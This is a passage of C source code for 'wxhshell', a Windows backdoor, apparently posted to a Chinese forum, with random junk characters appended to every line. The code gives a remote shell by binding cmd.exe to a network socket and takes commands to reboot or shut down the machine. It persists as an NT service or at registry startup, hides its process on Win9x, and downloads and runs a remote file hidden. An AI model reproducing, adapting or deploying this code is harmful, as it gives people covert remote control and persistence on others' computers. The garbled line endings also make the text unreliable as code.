  // 帮助 bf1)M>g,O  
  case '?': { N\'TR6_,b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yWNOG 2qAP  
    break; 5\xr?`VZ  
  } EsTB(9c?  
  // 安装 pcnl0o~  
  case 'i': { EZ/^nG  
    if(Install()) ;?zF6zvQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-P/jk  
    else 1\y@E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9)Ly}Kzx  
    break; 1 =^  
    } /9Z!p  
  // 卸载 7k'gt/#up  
  case 'r': { GB =bG%Tb  
    if(Uninstall()) "H$@b`)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F_v-}bbcFQ  
    else &atyDFJ'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; h85=l<8u  
    break; ~;8I5Sge  
    } 4v Lw?_".  
  // 显示 wxhshell 所在路径 -x{&an=  
  case 'p': { .;g}%C  
    char svExeFile[MAX_PATH]; #3+~.,X9  
    strcpy(svExeFile,"\n\r"); p31oL{D  
      strcat(svExeFile,ExeFile); n+rM"Gxz  
        send(wsh,svExeFile,strlen(svExeFile),0); gHZqA_*T8U  
    break; M$H`^Pv  
    } #|?8~c;RWG  
  // 重启 Mb.4J2F?  
  case 'b': { `BjR.xMv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )b0];&hw]  
    if(Boot(REBOOT)) BPewc9RxV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `7\H41%\pp  
    else { Bzw19S6y  
    closesocket(wsh); KUFz:&wK  
    ExitThread(0); ^Q\XGl  
    } /tZ0 |B(  
    break; 8#l+{`$z  
    } 7]Rk+q2:  
  // 关机 +`Pmq} ey  
  case 'd': { /NU103F yt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r^5jh1  
    if(Boot(SHUTDOWN)) (;ADW+.`J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n}q$f|4!  
    else { y42#n  
    closesocket(wsh); `[Sl1saZ$S  
    ExitThread(0); O:YJ%;w  
    } R5kH0{zM  
    break; NbkK&bz  
    } PJK9704 6  
  // 获取shell ?Oc -aa  
  case 's': { V{ |[oIp  
    CmdShell(wsh); " #v%36U  
    closesocket(wsh); #c:kCZt#  
    ExitThread(0); ``4?a7!!  
    break; [0!{_E)<  
  } M4:s;@qZ.  
  // 退出 ,hvc``j S8  
  case 'x': { Z0\Iyc G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J@Yj\9U  
    CloseIt(wsh); gr+Pl>C{  
    break; 8R?I`M_b  
    } $r15gfne>  
  // 离开 ShGp^xVj  
  case 'q': { g "*;nHI D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lDN?|YG  
    closesocket(wsh); Y0RgJn  
    WSACleanup(); fGarUV  
    exit(1); !8/gL  
    break; ix*muVBj.  
        } a g;dc  
  } 8,*3zVk-  
  } 6bL~6-h%)  
C:j]43`  
  // 提示信息 &*gbK6JB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5g0_WpO  
} V.VJcx  
  } /b%Q[ Ck_  
$[z<oN_Q  
  return; U=m=1FYaG  
} 9/3;{`+[a  
+t"j-}xzE  
// shell模块句柄 0*yJ %  
int CmdShell(SOCKET sock) R=$Ls6z  
{ "+h/-2rA  
STARTUPINFO si; %l|\of7P2}  
ZeroMemory(&si,sizeof(si)); T*+A.G@L"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wS$46M<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u)~s4tP4  
PROCESS_INFORMATION ProcessInfo; vYnftJK&  
char cmdline[]="cmd"; A*i_|]Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]sL45k2W  
  return 0; 1;&T^Gdj  
} PGX+p+wB  
CDCC1BG"  
// 自身启动模式 8Q(8b@ZO,  
int StartFromService(void) 2w4MJ,Uw  
{ 9o_- =>(  
typedef struct DsQ/aG9c%  
{ BX3lP v  
  DWORD ExitStatus; <|H ?gfM  
  DWORD PebBaseAddress; (("OYj  
  DWORD AffinityMask; ^73=7PZ  
  DWORD BasePriority; O-!,Jm   
  ULONG UniqueProcessId; q-IWRb0j%a  
  ULONG InheritedFromUniqueProcessId; vGN3 YcH  
}   PROCESS_BASIC_INFORMATION; % wL,v.}  
\_U*t!  
PROCNTQSIP NtQueryInformationProcess; <[hz?:G"$  
GYoseqZM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8R4qU!M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #{,h@g}W  
'C~9]Y].  
  HANDLE             hProcess; L_?$ayZ;  
  PROCESS_BASIC_INFORMATION pbi; 9,WG!4:+W  
Kv?;cu!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z*eoA  
  if(NULL == hInst ) return 0; VGZ6  
2 ~-( A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ' ^a!`"Bc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bU+9Gi@v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dtTlIhh1V  
y<M]dd$  
  if (!NtQueryInformationProcess) return 0; ;BVDt  
@T7PZB&xnl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'vlrc[|/  
  if(!hProcess) return 0; tcOnM w  
,sI35I J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ) b:4uK A  
x6e+7"#~  
  CloseHandle(hProcess); 8 u:2,l  
oAz<G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CQ>]jQ,2  
if(hProcess==NULL) return 0; O<X )p`,`  
.bfST.OA  
HMODULE hMod; VDiOO  
char procName[255]; 2AK}D%jfc  
unsigned long cbNeeded; Q52 bh'cuU  
!Uy>eji}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^PQM;"  
or.\)(m#(  
  CloseHandle(hProcess); xA-jvu9@  
,8VXA +'_  
if(strstr(procName,"services")) return 1; // 以服务启动 +-ewE-:|L  
iZC`z }  
  return 0; // 注册表启动 Q|//Z  
} TQ-KkH}y  
\Tkp  
// 主模块 jY+Do:#/wO  
int StartWxhshell(LPSTR lpCmdLine) o?\Gm  
{ 2sun=3qb  
  SOCKET wsl; e=J*Esc@k  
BOOL val=TRUE; Yxq j -   
  int port=0; tN!Bvj:C[M  
  struct sockaddr_in door; Z= ik{/  
K~@`o-Z[  
  if(wscfg.ws_autoins) Install(); @_Sp3nWdu  
FG# nap{  
port=atoi(lpCmdLine); ,qu:<  
(&c,twa~  
if(port<=0) port=wscfg.ws_port; 3#mE( `|P  
y5%5O xB  
  WSADATA data; yHOqzq56  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9b%j.Q-W  
?i%nMlcc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nx$bM(.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^U{P3 %uZ  
  door.sin_family = AF_INET; BA*&N>a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U' M|=I'  
  door.sin_port = htons(port); 2@ *<9-9  
5L3{w+V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _yJ|`g]U3  
closesocket(wsl); Gh iHA9.  
return 1; c(&AnIlS  
} |*1xrM:v~  
2Pz5f  
  if(listen(wsl,2) == INVALID_SOCKET) { +C5#$5];  
closesocket(wsl); @ExLh9  
return 1; WKOI\  
} N'a?wBBR  
  Wxhshell(wsl); 07Y_^d  
  WSACleanup(); //tT8HX  
y9ip[Xn-$:  
return 0; kwc*is  
QA,*:qx  
} %2YN,a4  
Rdj8 *f  
// 以NT服务方式启动 `GS cRhbh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ``6{T1fQS  
{ 4znH$M>bU  
DWORD   status = 0; $E@ouX?  
  DWORD   specificError = 0xfffffff; F {/>u(@3  
,zoB0([  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?-S8yqe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $':JI#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bw0 20@O*  
  serviceStatus.dwWin32ExitCode     = 0; ?61L|vr  
  serviceStatus.dwServiceSpecificExitCode = 0; L9$&-A9ix  
  serviceStatus.dwCheckPoint       = 0; iel-<(~   
  serviceStatus.dwWaitHint       = 0; _hWuAJ9Qy  
3l$E8?[Zwi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ",QYDFFeF  
  if (hServiceStatusHandle==0) return; ~;!BDLMC6  
R)Q/Ff@o0  
status = GetLastError(); U Q)!|@&  
  if (status!=NO_ERROR) +\srZ<67  
{ {x9j_/R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r(]98a]o~  
    serviceStatus.dwCheckPoint       = 0; m|lM.]2_  
    serviceStatus.dwWaitHint       = 0; {wHvE4F2  
    serviceStatus.dwWin32ExitCode     = status; dK`(BA{`3  
    serviceStatus.dwServiceSpecificExitCode = specificError; i`R(7Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N6WPTUQ1mF  
    return; }|SIHz!R  
  } 3hH>U%`-  
JBvk)ogM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \FVNXU MU  
  serviceStatus.dwCheckPoint       = 0; 1y 1_6TZ+  
  serviceStatus.dwWaitHint       = 0; D$QGLI9(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x\6] ;SXX  
} eVrnVPkM  
WejyYqr34-  
// 处理NT服务事件,比如:启动、停止 4`$5 _} j!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `t%|.=R  
{ i},d[  
switch(fdwControl) dV)Y,Yx0${  
{ =,O /,2)  
case SERVICE_CONTROL_STOP: Qg[heND  
  serviceStatus.dwWin32ExitCode = 0; }M^_Z#|,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1E8$% 6VV  
  serviceStatus.dwCheckPoint   = 0; d3og?{i<}&  
  serviceStatus.dwWaitHint     = 0; )sRN!~  
  { b/z'`?[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); re]%f"v:5  
  } 1k$2LQ  
  return; zaH 5 Km_j  
case SERVICE_CONTROL_PAUSE: x!OWJ/O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &ycjSBK  
  break; Kq$:\B)<c  
case SERVICE_CONTROL_CONTINUE: @51z-T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dr.**fGYde  
  break; KuIkul9^%  
case SERVICE_CONTROL_INTERROGATE: [?A&xqO3  
  break; $|rCrak;  
}; *U :VM'a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L^6"' #  
} NS h%t+XU]  
P`7ojXy  
// 标准应用程序主函数 %B[YtWqm`/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3(MoXA*  
{ :sU!PF[<  
fDL3:%D  
// 获取操作系统版本 ;& RUE  
OsIsNt=GetOsVer(); u.$Ym  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cZ6?P`X  
T:be 9 5!,  
  // 从命令行安装 3Wjq>\  
  if(strpbrk(lpCmdLine,"iI")) Install(); C\y[&egww  
ThjUiuWe  
  // 下载执行文件 sq6>DuBZz  
if(wscfg.ws_downexe) { >s;oOo+5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 U3C~J  
  WinExec(wscfg.ws_filenam,SW_HIDE); MKV=m8G=  
} q s v+.aW  
`Q:de~+AM{  
if(!OsIsNt) { (}9cD^F0n  
// 如果时win9x,隐藏进程并且设置为注册表启动 +G<}JJ'V  
HideProc(); J>&[J!>r  
StartWxhshell(lpCmdLine); E7V38Z  
} n>u.3w L  
else s4x'f$r  
  if(StartFromService()) FX{ ~"  
  // 以服务方式启动 YI L'YNH  
  StartServiceCtrlDispatcher(DispatchTable); )C'G2RV  
else sGXp}{E9  
  // 普通方式启动 fx]\)0n  
  StartWxhshell(lpCmdLine); rdXCWK$E  
@<hF.4,]  
return 0; y2oB]^z&n  
}
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只看该作者 1 发表于: 2006-10-10
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